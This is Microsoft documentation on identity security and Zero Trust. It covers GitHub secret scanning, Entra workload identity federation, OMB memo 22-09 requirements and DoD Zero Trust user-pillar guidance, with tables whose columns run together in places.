results in your familiar GitHub user experience.
Secret scanning
Scan for leaked secrets in public and private repos
Partnership with 40+ providers
Push protection
Move from remediation to prevention
Check for high-confidence secrets
Enable protection with one click
Scan your code for hardcoded credentials and tokens with secret scanning . Push
protection scans for secrets and tokens before you push to your codebase. Check for
high-confidence secrets as developers push code, blocking the push when GitHub
identifies a secret.
Manage and secure workload identities

Lifecycle management
Access governance
Secure adaptive access
Get visibility into the activity of your workload identities and enable periodic cleanup.
Determine who owns workload identities and how you keep this information up to date
across organization changes. Track when you have last used workload identities, when
you last issued tokens and when tokens expire.
To mitigate the potential for leaked secrets and credentials, periodically conduct access
reviews. Require users to review their workload identities and remove unnecessary
access privileges. Have users report overprivileged and underutilized access privileges.
Discuss how you'll protect workload identities from breach. Enable conditional access to
ensure that access is originating from expected resources.
Secure identities with GitHub OIDC and

Microsoft Entra Workload ID Federation
To further secure your organization, use GitHub OpenID Connect (OIDC) with
Microsoft Entra Workload Identity Federation and minimize the need to store and access
secrets. Securely manage Azure server principal secrets and other long-lived cloud
credentials resources to minimize service downtime due to expired credentials. Integrate
with developer platforms, like GitHub Actions, to securely build your apps.
Our recommended Workload Identity Federation workflow, illustrated in the following

diagram, comprises six steps.

1. Set up trust in Microsoft Entra ID and request a token.

2. Configure the GitHub workflow to allow actions to get the token.
3. GitHub workflow sends a request to Azure ID.
4. Microsoft Entra ID validates the trust on the application and fetches the keys to
validate the token.
5. Microsoft Entra ID accesses and issues the token.
6. The deploy action uses the Microsoft Entra access token to deploy to resources in
Azure.
Watch April Edwards, Senior Cloud Advocate and DevOps Practice Lead, demo the
Workload Identity Federation workflow. The demonstration begins at the 19:14 mark in
the Accelerate and secure your code to cloud development Microsoft Build 2022
session that is also available on YouTube (embedded below).
https://www.youtube-nocookie.com/embed/1fMdA3pSBaY
Next steps
Sign up for Azure Developer CLI, an open-source tool that accelerates the time it
takes to get started on Azure.
(OIDC) allows your GitHub Actions workflows to access resources in Azure
without needing to store the Azure credentials as long-lived GitHub secrets.
your DevOps environments for preventing hackers from compromising developer
boxes, infecting release pipelines with malicious scripts, and gaining access to
production data via test environments.
least privilege.
Feedback
Zero Trust illustrations for IT architects
and implementers
Article • 04/12/2024
These posters and technical diagrams give you information about deployment and
implementation steps to apply the principles of Zero Trust to Microsoft cloud services,
including Microsoft 365 and Microsoft Azure.
Zero Trust is a new security model that assumes breach and verifies each request as
always verify."
As an IT architect or implementer, you can use these resources for deployment steps,
reference architectures, and logical architectures to more quickly apply Zero Trust
principles to your existing environment for:
Microsoft 365
Azure services:
Azure IaaS
Azure Virtual WAN
You can download these illustrations in the form of:
A PDF file for easier viewing, links to articles, and to print for your IT department.
If available, a Microsoft Visio file to modify the illustrations for your own use.
If available, a Microsoft PowerPoint file for presentations and to modify the slides
for your own use.
To use the same set of icons and templates in the Visio or PowerPoint files, get the
downloads in Microsoft 365 architecture templates and icons.
Zero Trust for Microsoft 365

This illustration provides a deployment plan for applying Zero Trust principles to
Microsoft 365.
ﾉ Expand table
Item Description
Use this illustration together with this article: Microsoft

365 Zero Trust deployment plan
Deploy your identity infrastructure for Microsoft

365
Recommended identity and device access
PDF | Visio configurations
Updated March 2024
Microsoft Purview
Zero Trust for Microsoft Copilot for Microsoft

365
Adopting Microsoft Copilot for Microsoft 365 or Copilot is a great incentive for your
organization to invest in Zero Trust. This set of illustrations introduces new logical
architecture components for Copilot. It also includes security and deployment
recommendations for preparing your environment for Copilot. These recommendations
align with Zero Trust recommendations and help you begin this journey, even if your
licenses are Microsoft 365 E3!
ﾉ Expand table
Item Description
Copilot combines the power of large language models (LLMs) with your
data in the Microsoft Graph — your calendar, emails, chats, documents,
meetings, and more — and the Microsoft 365 apps to provide a
powerful productivity tool.
This series of illustrations provides a view into new logical architecture

components. It includes recommendations for preparing your
PDF | Visio
environment for Copilot with security and information protection while
Updated November
assigning licenses.
2023
Zero Trust for Azure IaaS services

This illustration shows the components of Azure IaaS as reference and logical
architectures, along with the steps to ensure that these components have the "never
trust, always verify" principles of the Zero Trust model applied.
ﾉ Expand table
Item Description


Virtual machines
Spoke virtual networks (VNets)
PDF | Visio Hub VNets
Updated March 2024
You can also download the technical diagrams used in the Zero Trust for Azure IaaS
series of articles as an easier way of viewing the illustrations in the articles or to modify
them for your own use.
ﾉ Expand table
Item Description


Virtual machines
Spoke VNets
PDF | Visio
Hub VNets
Updated March 2024
Zero Trust for Azure Virtual WAN diagrams

These diagrams show the reference and logical architectures for applying Zero Trust to
Azure Virtual WAN as an easier way of viewing the illustrations in the article or to modify
them for your own use.
ﾉ Expand table
Item Description
Use this illustration together with this article: Apply Zero Trust
principles to Azure Virtual WAN
PDF | Visio
Updated March 2024
Zero Trust for Azure Virtual Desktop diagrams

These diagrams show the reference and logical architectures for applying Zero Trust to
Azure Virtual Desktop as an easier way of viewing the illustrations in the article or to
modify them for your own use.
ﾉ Expand table
Item Description
Use this illustration together with this article: Apply Zero Trust
principles to Azure Virtual Desktop
PDF | Visio
Updated March 2024
Zero Trust Identity and Device Access Policies

This illustration shows the set of Zero Trust identity and device access policies for three
levels of protection: Starting point, Enterprise, and Specialized security.
ﾉ Expand table
Item Description
Use this illustration together with this article: Recommended

identity and device access configurations
Microsoft 365 Zero Trust deployment plan

Deploy your identity infrastructure for Microsoft 365
PDF
Evaluate and pilot Microsoft 365 Defender
Updated March 2024
Microsoft Purview
Common attacks and how Microsoft

capabilities for Zero Trust can protect your
organization
Learn about the most common cyber attacks and how Microsoft capabilities for Zero
Trust can help your organization at every stage of an attack. Also use a table to quickly
link to Zero Trust documentation for common attacks based on technology pillars such
as identities or data.
ﾉ Expand table
Item Description
Use this illustration together with this article: Zero Trust deployment
for technology pillars
PDF | Visio
Updated February 2024
Additional Microsoft security posters and
illustrations
See these additional Microsoft security posters and illustrations:
Microsoft Intune enrollment options: PDF | Visio
An overview of the three phases as layers of protection against ransomware

attackers: PDF . Use this poster together with the What is ransomware? article.
An overview of how Microsoft's SecOps team does incident response to mitigate

ongoing attacks: PDF
The Security Best Practices slide presentation: PDF | PowerPoint
The top 10 Azure Security best practices: PDF | PowerPoint
The phishing, password spray, app consent grant incident response playbook
workflows: PDF | Visio
Next steps
organization.
Documentation set
ﾉ Expand table
365 for business
guidance
deployment guidance
Your role
ﾉ Expand table
IT implementer
business
Microsoft 365
Feedback
Meet identity requirements of
memorandum 22-09 with Microsoft
Entra ID
Article • 10/23/2023
The Executive Order on Improving the Nation’s Cybersecurity (14028) , directs federal
agencies to advance security measures that significantly reduce the risk of successful
cyberattacks against federal government digital infrastructure. On January 26, 2022, in
support of Executive Order (EO) 14028, the Office of Management and Budget (OMB)
released the federal Zero Trust strategy in M 22-09 Memorandum for Heads of Executive
Departments and Agencies .
This article series has guidance to employ Microsoft Entra ID as a centralized identity
management system when implementing Zero Trust principles, as described in
memorandum 22-09.
Memorandum 22-09 supports Zero Trust initiatives in federal agencies. It has regulatory
guidance for federal cybersecurity and data privacy laws. The memo cites the US
Department of Defense (DoD) Zero Trust Reference Architecture :
"The foundational tenet of the Zero Trust Model is that no actor, system, network, or
service operating outside or within the security perimeter is trusted. Instead, we must verify
anything and everything attempting to establish access. It is a dramatic paradigm shift in
philosophy of how we secure our infrastructure, networks, and data, from verify once at
the perimeter to continual verification of each user, device, application, and transaction."
The memo identifies five core goals for federal agencies to reach, organized with the
Cybersecurity Information Systems Architecture (CISA) Maturity Model. The CISA Zero
Trust model describes five complementary areas of effort, or pillars:
Identity
Devices
Networks
Applications and workloads
Data
The pillars intersect with:
Visibility
Analytics
Automation
Orchestration
Governance
Scope of guidance
Use the article series to build a plan to meet memo requirements. It assumes use of
Microsoft 365 products and a Microsoft Entra tenant.
Learn more: Quickstart: Create a new tenant in Microsoft Entra ID.
The article series instructions encompass agency investments in Microsoft technologies

that align with the memo's identity-related actions.
For agency users, agencies employ centralized identity management systems that
can be integrated with applications and common platforms
Agencies use enterprise-wide, strong multi-factor authentication (MFA)
MFA is enforced at the application layer, not the network layer
For agency staff, contractors, and partners, phishing-resistant MFA is required
For public users, phishing-resistant MFA is an option
Password policies don't require special characters or regular rotation
When agencies authorize user access to resources, they consider at least one
device-level signal, with identity information about the authenticated user
Next steps
Enterprise-wide identity management system
Meet multifactor authentication requirements of memorandum 22-09
Meet authorization requirements of memorandum 22-09
Other areas of Zero Trust addressed in memorandum 22-09
Securing identity with Zero Trust
Configure Microsoft cloud services for
the DoD Zero Trust Strategy
Article • 04/15/2024
The U.S. Department of Defense (DoD) Zero Trust Portfolio Management Office (ZT
PfMO) was established to orchestrate DoD-wide Zero Trust adoption and execution. In
November 2022, the DoD ZT PfMO released the DoD Zero Trust Strategy and
Roadmap .
The strategy and accompanying execution plans outline a path to adopt a new
cybersecurity framework to facilitate well-informed, risk-based decisions. This model
incorporates Zero Trust principles by eliminating traditional perimeters and trust
assumptions, enabling a more efficient architecture that enhances security, user
experience, and mission performance. The Zero Trust Framework aims to minimize DoD
attack surface, reduce risks, enable effective data-sharing and collaboration, proactively
safeguard its technical estate, and disrupt adversarial activities.
The strategy has four goals.
Zero Trust Cultural Adoption - A Zero Trust security framework and mindset that
guides the design, development, integration, and deployment of information
technology across the DoD Zero Trust ecosystem.
Department of Defense Information Systems are Secured and Defended - DoD
cybersecurity practices incorporate and operationalize Zero Trust to achieve
enterprise resilience in DoD information systems.
Technology Acceleration - Zero Trust technologies deploy at a pace equal to, or
that exceeds, industry advancements to remain ahead of the changing threat
environment.
Zero Trust Enablement - DoD Zero Trust execution integrates with DoD, and
component-level processes, resulting in seamless and coordinated Zero Trust
execution.
Microsoft has an expanding array of Zero Trust capabilities powered by a unified identity
platform and pre-integrated, fit-for-purpose security tools. They offer repeatable,
comprehensive coverage across the seven pillars of the DoD Zero Trust Strategy for
target and advanced activities.
Pillars, capabilities, and activities

The DoD Zero Trust Strategy covers seven pillars representing protection areas for Zero
Trust. Use the following links to go to sections of the guide.
Introduction
User
Device
Data
Network
Automation and orchestration
Visibility and analytics
The pillars span 45 Zero Trust capabilities. Capabilities are achieved by completing one
or more implementation activities. In the following tables, activities are tagged with
Target or Advanced , based on Zero Trust phases defined by the DoD. A capability might
include target activities, advanced activities, or both. See, Table 1. There are 152
activities in total, 92 target and 60 advanced. DoD Zero Trust Capability Execution
Roadmap sets a timeline for achieving Target Level ZT by 2027 and Advanced Level ZT
by 2032.
Activity details are outlined in the Zero Trust Capabilities and Activities Execution
Roadmap . The activities cover a range of technical and nontechnical tasks. Technical
tasks deploy, configure, and adopt security tools. Nontechnical tasks procure tools,
create policies and standards, and assemble teams to operationalize the Zero Trust
strategy.
Scope of guidance
This document has summary guidance for 45 Zero Trust capabilities and prescriptive
guidance for completing 152 Zero Trust activities with Microsoft cloud services. In each
table, the Microsoft guidance and recommendations column has activity-level
guidance based on activity descriptions and outcomes in the context of the activity
parent capability. Use the activity-level guidance with capability summaries to learn how
Microsoft cloud services align to the DoD Zero Trust Strategy. Guidance is scoped to
features generally available (GA) or in public preview in Microsoft 365 DoD cloud and
Azure for US Government cloud.
） Important
When activities have more than one part, Microsoft guidance assumes you
implemented the previous parts. For example, if an activity has three parts, finish
Pt1, then Pt2, and then Pt3.
This document prioritizes recommendations by product, or feature area, listing the most
essential items first. When implementation actions span features in different Microsoft
services, these actions are ordered in the required configuration sequence. Activity-level
guidance lists all recommendations relevant for each activity. Your organization might
complete the activity by doing a portion of the recommended configuration or
implementing alternative solutions.
The DoD Zero Trust Strategy assigns activities to target or advanced phases. This guide
indicates Target and Adanced in the activity title. Target-level ZT is achieved by
completing all target activities. Advanced-level ZT is achieved by completing all
advanced activities. You don't need to finish all target activities before starting advanced
activities. Configuring one feature might complete target and advanced activities at the
same time. We recommend implementing key protections first, following the Microsoft
Zero Trust Rapid Modernization Plan.
Next steps
Configure Microsoft cloud services for the DoD Zero Trust Strategy:
Introduction
User
Device
Data
Network
Feedback
DoD Zero Trust Strategy for the user
pillar
Article • 04/15/2024
The DoD Zero Trust Strategy and Roadmap outlines a path for Department of Defense
components and Defense Industrial Base (DIB) partners to adopt a new cybersecurity
framework based on Zero Trust principles. Zero Trust eliminates traditional perimeters
and trust assumptions, enabling a more efficient architecture that enhances security,
user experiences, and mission performance.
This guide has recommendations for the 152 Zero Trust activities in the DoD Zero Trust
Capability Execution Roadmap . The sections correspond with the seven pillars of the
DoD Zero Trust model.
Use the following links to go to sections of the guide.
Introduction
User
Device
Data
Network
1 User
This section has Microsoft guidance and recommendations for DoD Zero Trust activities
in the user pillar. To learn more, see Securing identity with Zero Trust.
1.1 User inventory

Microsoft Entra ID is the required identity platform for Microsoft cloud services.
Microsoft Entra ID is an identity provider (IdP) and governance platform to support
multicloud and hybrid identities. You can use Microsoft Entra ID to govern access to
non-Microsoft clouds like Amazon Web Services (AWS), Google Cloud Platform (GCP),
Oracle Cloud Infrastructure (OCI) and more. Microsoft Entra ID uses standard identity
protocols, making it a suitable IdP for software as a service (SaaS), modern web
applications, desktop and mobile apps, also legacy on-premises applications.
Use Microsoft Entra ID to verify users and nonperson entities (NPE), continuously
authorize access to apps and data, govern identities and their entitlements following
least-privilege principles, and perform just-in-time (JIT) administration.
ﾉ Expand table
DoD Activity Description and Outcome Microsoft guidance and

recommendations
Target 1.1.1 Inventory User Microsoft Entra ID

DoD Organizations establish and update a user Identify regular and privileged users in your
inventory manually if needed, preparing for organization using the Microsoft Entra
automated approach in later stages. Accounts both admin center or Microsoft Graph API. User
centrally managed by an IdP/ICAM and locally on activity is captured in Microsoft Entra ID
systems will be identified and inventoried. sign-in and audit logs, which can be
Privileged accounts will be identified for future integrated with security information event
audit and both standard and privileged user monitoring (SIEM) systems like Microsoft
accounts local to applications and systems will be Sentinel.
identified for future migration and/or - Adopt Microsoft Entra ID
decommission. - Microsoft Graph API: List Users
- Microsoft Entra activity log integration
Outcomes:
- Identified Managed Regular Users Microsoft Entra and Azure roles
- Identified Managed Privileged Users Privileged users are identities assigned to
- Identified applications using their own user Microsoft Entra ID roles, Azure roles, or
account management for non-administrative and Microsoft Entra ID security groups that
administrative accounts grant privileged access to Microsoft 365, or
other applications. We recommend you use
cloud-only users for privileged access.
- Built-in roles

Use Defender for Cloud Apps to discover
unapproved apps using their own identity
store.
- Discover and manage shadow IT
1.2 Conditional user access

Microsoft Entra ID helps your organization implement conditional, dynamic user access.
Features that support this capability include Microsoft Entra Conditional Access,
Microsoft Entra ID Governance, custom roles, dynamic security groups, app roles, and
custom security attributes.
Conditional Access is the real-time Zero Trust policy engine in Microsoft Entra ID.
Conditional Access policies use security signals from user, device, application, session,
risk, and more to apply adaptive dynamic authorization for resources protected by
Microsoft Entra ID.
ﾉ Expand table

recommendations
Target 1.2.1 Implement App Based Permissions per Microsoft Entra Connect
Enterprise Establish hybrid identity with Microsoft
The DoD enterprise working with the Organizations Entra Connect to populate Microsoft
establishes a basic set of user attributes for Entra ID tenants with user attribute
authentication and authorization. These are integrated data from current directory systems.
with the "Enterprise Identity Life-Cycle Management - Microsoft Entra Connect
Pt1" activity process for a complete enterprise standard.
The enterprise Identity, Credential, and Access Microsoft Entra applications
Management (ICAM) solution is enabled for self-service Integrate applications with Microsoft
functionality for adding/updating attributes within the Entra ID. Design application
solution. Remaining Privileged Access Management authorization and permissions models
(PAM) activities are fully migrated to PAM solution. using security groups, and app roles.
To delegate app management, assign
Outcomes: owners to manage app configuration,
- Enterprise roles/attributes needed for user also register, and assign app roles.
authorization to application functions and/or data have - Integrate apps with Microsoft Entra
been registered with enterprise ICAM ID
- DoD Enterprise ICAM has self-service attribute/role - Dynamic security groups
registration service that enables application owners to - App roles for applications
add attributes or use existing enterprise attributes
- Privileged activities are fully migrated to PAM Microsoft Entra ID Governance
Configure access packages in
entitlement management so users can
request access to application roles or
groups.
- Govern access to apps
- Delegate access package governance
Conditional Access
Configure Conditional Access policies
for dynamic authorization to
applications and services protected by
Microsoft Entra ID. In Conditional
Access policies, use custom security
attributes and application filters to
scope security attribute authorization
assigned to application objects, such
as sensitivity.
- Conditional Access
- Custom security attributes
- Filter for apps
recommendations

Use PIM Discovery and Insights to
identify privileged roles and groups.
Use PIM to manage discovered
privileges and convert user
assignments from permanent to
eligible.
- PIM Discovery and Insights
Target 1.2.2 Rule Based Dynamic Access Pt1 Microsoft Entra ID

DoD Organizations utilize the rules from the "Periodic Use Microsoft Entra ID authorization
Authentication" activity to build basic rules enabling and and governance features to limit
disabling privileges dynamically. High-risk user accounts application access based on user
utilize the PAM solution to move to dynamic privileged attributes, role assignments, risk, and
access using Just-In-Time access and Just Enough- session details.
Administration methods.
See Microsoft guidance in 1.2.1.
Outcomes:
- Access to application’s/service’s functions and/or data Privileged Identity Management
are limited to users with appropriate enterprise Use PIM for Microsoft Entra and Azure
attributes roles. Extend PIM to other Microsoft
- All possible applications use JIT/JEA permissions for Entra ID applications with PIM for
administrative users Groups.
- PIM for Microsoft Entra roles
- PIM for Azure roles
- PIM for Groups
Advanced 1.2.3 Rule Based Dynamic Access Pt2 Microsoft Entra ID Protection
DoD Organizations expand the development of rules for Microsoft Entra ID Protection uses
dynamic access decision making accounting for risk. machine learning (ML) algorithms to
Solutions used for dynamic access are integrated with detect users and sign-in risk. Use risk
cross pillar Machine Learning and Artificial Intelligence conditions in Conditional Access
functionality enabling automated rule management. policies for dynamic access, based on
risk level.
Outcomes: - Microsoft Entra ID Protection
- Components and services are fully utilizing rules to - Risk detections
enable dynamic access to applications and services - Risk-based access policies
- Technology utilized for Rule Based Dynamic Access
supports integration with AI/ML tooling Microsoft Defender XDR
Microsoft Defender XDR is an
extended detection and response
(XDR) solution. Deploy Microsoft
Defender for Endpoint and Microsoft
Defender for Cloud Apps and
recommendations
configure integrations.
- Integrate Defender for Endpoint with
Advanced 1.2.4 Enterprise Governance roles and Microsoft Entra ID

permissions Pt1 Microsoft Entra ID is a multicloud
DoD Organizations federate remaining user and group centrally managed identity, credential,
attributes as appropriate to the Enterprise Identity, and access management (ICAM)
Credential, and Access Management (ICAM) solution. platform and identity provider (IdP).
The updated attribute set is used to create universal Establish hybrid identity with Microsoft
roles for Organizations to use. Core functions of the Entra Connect to populate user data in
Identity Provider (IdP) and Identity, Credential, and the directory.
Access Management (ICAM) solutions are migrated to - Microsoft Entra ID
cloud services and/or environments enabling improved - Hybrid identity
resilience and performance.
Microsoft Entra applications
Outcomes: Integrate applications with Microsoft
- Component attribute and role data repository Entra ID and use dynamic security
federated with enterprise ICAM groups, application roles, and custom
- Cloud-based enterprise IdP can be used by cloud and security attributes to govern access to
on-premises applications applications.
- Standardized set of roles and permissions are created - Manage apps
and aligned to attributes - Govern app access
Microsoft Entra application proxy

To use Microsoft Entra ID for apps that
use legacy authentication protocols,
deploy and configure application
proxy or integrate secure hybrid
access (SHA) partner solutions.
- SHA: Protect legacy apps
Advanced 1.2.5 Enterprise Governance roles and Microsoft Entra applications

permissions Pt2 Migrate modern applications from
DoD Organizations move all possible functions of the Active Directory Federation Services
Identity Provider (IdP) and Identity, Credential and (AD FS) to Microsoft Entra ID and then
Access Management (ICAM) solutions to cloud decommission AD FS infrastructure.
environments. Enclave/DDIL environments local - Migrate app authentication from AD
capabilities to support disconnected functions but FS to Microsoft Entra ID
ultimately are managed by the centralized Identity,
Credential and Access Management (ICAM) solutions. Microsoft Entra app provisioning
Updated roles are now mandated for usage and Move remaining ICAM and application
exceptions are reviewed following a risk-based provisioning processes from on-
approach. premises identity management
systems to Microsoft Entra ID.
recommendations
Outcomes: - API-driven inbound provisioning

- Majority of components utilize cloud IdP functionality - App provisioning
Where possible on-prem IdP is decommissioned
- Permissions and roles are mandated for usage when
evaluating attributes
1.3 Multi-factor authentication

Microsoft Entra ID supports certificate-based authentication (CBA) including DoD
Common Access Cards (CAC) and Personal Identity Verification (PIV) without federating
with another IdP, for cloud and hybrid (synchronized) users. Microsoft Entra ID supports
multiple industry-standard multifactor phishing-resistant passwordless authentication
methods including CBA, Windows Hello for Business, FIDO2 security keys, and passkeys.
You can create Conditional Access policies to enforce authentication strength and
dynamically authorize access based on user, device, and environment conditions,
including risk level.
ﾉ Expand table

recommendations
Target 1.3.1 Organizational MFA/IDP Microsoft Entra authentication methods

DoD Organizations procure and implement a Configure Microsoft Entra CBA using DoD
centralized Identity Provider (IdP) solution and PKI. Set the global protection level to
Multi-Factor (MFA) solution. The IdP and MFA single-factor authentication. Create rules
solution may be combined in a single application or for each DoD issuing CA, or Policy OID, to
separated as needed assuming automated identify DoD PKI as multi-factor
integration is supported by both solutions. Both IdP authentication protection level. After
and MFA support integration with the Enterprise PKI configuration, users sign into Microsoft
capability and enable key pairs to be signed by the Entra with a DoD CAC.
trusted root certificate authorities. Mission/Task- - Authentication in Microsoft Entra ID
Critical applications and services are utilizing the IdP - Microsoft Entra CBA
and MFA solution for management of users and - Configure CBA
groups.
Staged rollout
Outcomes: Use a staged rollout to migrate user
- Component is using IdP with MFA for critical authentication from an on-premises
applications/services federation service to Microsoft Entra CBA.
- Components have implemented an Identity
Provider (IdP) that enables DoD PKI multifactor See Microsoft guidance in 1.2.4.
recommendations
authentication Microsoft Entra authentication strength

- Organizational Standardized PKI for critical services Create a new authentication strength
named DoD CAC. Choose certificate-based
authentication (multifactor). Configure
advanced options and select certificate
issuers for DoD PKI.
- Authentication strength
- Custom authentication strengths
Microsoft Intune
Microsoft Entra supports two methods to
use certificates on a mobile device:
derived credentials (on-device certificates),
and hardware security keys. To use DoD
PKI-derived credentials on managed
mobile devices, use Intune to deploy DISA
Purebred.
- Derived credentials
- CBA on iOS devices
- CBA on Android devices
Advanced 1.3.2 Alternative Flexible MFA Pt1 Microsoft Entra authentication methods
DoD Organization’s Identity Provider (IdP) supports Configure Microsoft Entra authentication
alternative methods of multi-factor authentication methods for users to register passkeys
complying with Cyber Security requirements (e.g., (FIDO2 security keys). Use optional
FIPS 140-2, FIPS 197, etc.). Alternative tokens can be settings to configure a key restriction
used for application-based authentication. Multi- policy for keys compliant with FIPS 140-2.
Factor options support Biometric capability and can - Passwordless security key sign-in
be managed using a self-service approach. Where - Authentication methods
possible multi-factor provider(s) is moved to cloud
services instead of being hosted on-premises. Temporary access pass
Configure a temporary access pass (TAP)
Outcomes: for users to register alternate passwordless
- IdP provides user self-service alternative token authenticators without a CAC.
- IdP provides alt token MFA for approved - Configure TAP
applications per policy
Conditional Access
Create a Conditional Access policy to
require authentication strength: DoD CAC
for security info registration. The policy
requires CAC to register other
authenticators like FIDO2 security keys.
- Security info registration

recommendations
Windows Hello for Business

Use Windows Hello for Business with a PIN
or biometric gesture for Windows sign-in.
Use device management policies for
Windows Hello for Business enrollment for
enterprise-provided Windows devices.
- Windows Hello for Business
Advanced 1.3.3 Alternative Flexible MFA Pt2 Microsoft Entra ID Protection

Alternative tokens utilize user activity patterns from Microsoft Entra ID Protection uses
cross pillar activities such as "User Activity machine learning (ML) and threat
Monitoring (UAM) and User & Entity Behavior intelligence to detect risky users and sign-
Analytics (UEBA)" to assist with access decision in events. Use the sign-in and user risk
making (e.g., not grant access when pattern conditions to target Conditional Access
deviation occurs). This functionality is further policies to risk levels. Start with baseline
extended onto Biometric enabled alternative tokens protection requiring MFA for risky sign-ins.
as well. - Microsoft Entra ID Protection
- Deploy Identity Protection
Outcome:
- User Activity Patterns Implemented Conditional Access
Create a set of risk-based Conditional
Access policies that use grant and session
controls to require stronger protection as
risk increases.
- Configure and enable risk policies
- Conditional Access: Session
- Conditional Access: Grant
Risk-based Conditional Access policy

examples:
Medium sign-in risk

- Require authentication strength:
phishing-resistant MFA
- Require compliant device
- Sign-in frequency: 1 hour
High sign-in risk

- Sign-in frequency: every time
High user risk

recommendations

- Sign-in frequency: every time
Microsoft Sentinel
Configure a Sentinel analytics rule and
playbook to create an incident for Entra ID
Protection alerts when user risk is high.
- Microsoft Entra ID Protection connector
for Sentinel
- User:revokeSignInSessions
1.4 Privileged access management

Microsoft Entra ID Governance enables PAM features including just-in-time (JIT)
administration, entitlement management, and periodic access reviews. Microsoft Entra
Privileged Identity Management (PIM) helps you discover how roles are assigned in your
organization. Use PIM to convert permanent role assignments JIT, customize role
assignment and activation requirements, also schedule access reviews.
Conditional Access enforces authentication strength, risk level, and compliant Privileged
Access Workstation (PAW) device for privileged access. Administrative actions in
Microsoft Entra ID are recorded in the Microsoft Entra audit logs.
ﾉ Expand table

recommendations
Target 1.4.1 Implement System and Migrate Privileged Identity Management

Privileged Users Pt1 Deploy PIM to protect Microsoft Entra ID
DoD Organizations procure and implement a and Azure roles. Use PIM Discovery and
Privileged Access Management (PAM) solution to Insights to identify privileged roles and
support all critical privileged use cases. groups. Use PIM to manage discovered
Application/Service integration points are identified privileges and convert user assignments
to determine status of support for the PAM from permanent to eligible.
solution. Applications/Services that easily integrate - PIM overview
with PAM solution are transitioned over to using - Discovery and Insights for roles
solution versus static and direct privileged - Azure resources
permissions.
Microsoft Intune
Outcomes: Deploy Intune-managed PAW for Microsoft
- Privilege Access Management (PAM) tooling is Entra, Microsoft 365, and Azure
recommendations
implemented administration.
- Applications and devices that support and don't - Privileged access strategy
support PAM tools identified
- Applications that support PAM, now use PAM for Conditional Access
controlling emergency/built-in accounts Use Conditional Access policy to require
compliant devices. To enforce PAW, use
device filters in the Conditional Access
compliant-device grant control.
- Filters for devices
Target 1.4.2 Implement System and Migrate Privileged Identity Management

Privileged Users Pt2 Use privilege access groups and PIM for
DoD Organizations utilize the inventory of Groups to extend just-in-time (JIT) access
supported and unsupported Applications/Services beyond Microsoft Entra ID and Azure. Use
for integration with privileged access management the security groups in Microsoft 365,
(PAM) solution to extend integrations. PAM is Microsoft Defender XDR, or mapped to
integrated with the more challenging privileged role claims for non-Microsoft
Applications/Services to maximize PAM solution applications integrated with Microsoft
coverage. Exceptions are managed in a risk-based Entra ID.
methodical approach with the goal of migration off - Role-assignable groups
and/or decommissioning Applications/Services that - Bring groups into PIM
don't support PAM solutions. - User and group assignements to an app
Outcome: Conditional Access

- Privileged activities are migrated to PAM and Use protected actions to add another layer
access is fully managed of protection when administrators perform
actions requiring highly privileged
permissions in Microsoft Entra ID. For
instance, manage Conditional Access
policies and cross-tenant access settings.
- Protected actions
Create a Conditional Access policy for users

with active Microsoft Entra role
membership. Require authentication
strength: phishing resistant MFA and
compliant device. Use device filters to
require compliant PAWs.
- Require MFA for administrators
- Filter for devices
Advanced 1.4.3 Real Time Approvals & JIT/JEA Privileged Identity Mangement
Analytics Pt1 Identify high-risk roles in your environment
Identification of necessary attributes (Users, Groups, such as Microsoft Entra roles like Global
etc.) are automated and integrated into the Administrator, Azure roles like Owner and
recommendations
Privileged Access Management (PAM) solution. User Access Administrator, also privileged
Privilege access requests are migrated to the PAM security groups.
solution for automated approvals and denials. - Best practices for roles
- Privileged roles
Outcomes:
- Identified accounts, applications, devices, and Configure PIM role settings to require
data of concern (of greatest risk to DoD mission) approval.
- Using PAM tools, applied JIT/JEA access to high- - Azure resource role settings
risk accounts - Microsoft Entra role settings
- Privileged access requests are automated as - PIM for Groups settings
appropriate
Microsoft Entra ID Governance
Use access packages to manage security
groups for role eligibility. This mechanism
manages eligible admins; it adds self-
service requests, approvals, and access
reviews for role eligibility.
- Entitlement mangement
Create role-assignable groups for

privileged roles to configure eligibility
requests and approvals. Create a catalog
named Privileged Role Eligible Admins. Add
role-assignable groups as resources.
- Role-assignable groups
- Create and manage resource catalogs
Create access packages for role-assignable

groups in the Privileged Role Eligible
Admins catalog. You can require approval
when users request eligibility in entitlement
management, require approval upon
activation in PIM, or both.
- Access packages
recommendations
Advanced 1.4.4 Real Time Approvals & JIT/JEA Conditional Access

Analytics Pt2 Define an authentication context for
DoD Organizations integrate User & Entity Behavior privileged access. Create one or more
Analytics (UEBA) and User Activity Monitoring Conditional Access policies that target the
(UAM) solutions with the Privileged Access privileged access authentication context.
Management (PAM) solution providing user pattern Use risk conditions in the policy and apply
analytics for decision making. grant and session controls for privileged
access. We recommend you require
Outcome: authentication strength: phishing-resistant
- UEBA or similar analytics system integrated with MFA, compliant privileged access
PAM tools for JIT/JEA account approvals workstation.
- Configure authentication context
To block privileged access when sign-in risk

is high, create more Conditional Access
policies that target privileged access
authentication context with a condition for
high sign-in risk. Repeat this step with a
policy for high user risk.
- Policy deployment

Configure PIM role settings to require
authentication context. This setting
enforces Conditional Access policies for the
chosen authentication context upon role
activation.
- Require authentication context
1.5 Identity federation and user credentialing

Microsoft Entra ID plays a key role in identity lifecycle management (ILM). A Microsoft
Entra tenant is a hyperscale cloud directory service, identity, credential and access
management (ICAM) solution, and identity provider (IdP). It supports inter-directory
provisioning and app provisioning to manage the lifecycle of internal users in Microsoft
Entra ID and other apps.
Microsoft Entra ID Governance features help you manage the access lifecycle for
entitlements like apps, Microsoft Teams, and security group membership. Entitlement
management can also be used to onboard and govern external guests. You can block
access and remove guest user objects when their last access package is removed. To
understand how your organization can migrate ILM functions to Microsoft Entra ID, see
Road to the cloud.
ﾉ Expand table

recommendations
Target 1.5.1 Organizational Identity Life-Cycle Microsoft Entra ID

Management Standardize account lifecycle for
DoD Organizations establish a process for life cycle identities, including users,
management of users both privileged and standard. administrators, external users, and
Utilizing the Organizational Identity Provider (IdP) the application identities (Service
process is implemented and followed by the maximum Principals).
number of users. Any users who fall outside of the - Identity lifecycle management
standard process are approved through risk-based - Identity and access management ops
exceptions to be evaluated regularly for decommission.
Outcome: Establish regular access reviews for
- Standardized Identity Lifecycle Process privileged users and applications in a
tenant.
- Access reviews
Target 1.5.2 Enterprise Identity Life-Cycle Management Microsoft Entra ID

Pt1 If your organization uses Active
The DoD Enterprise works with Organizations to review Directory, synchronize users to
and align the existing Identity Lifecycle Processes, policy, Microsoft Entra ID with Microsoft
and standards. A finalized agreed upon policy and Entra Connect Sync or Microsoft Entra
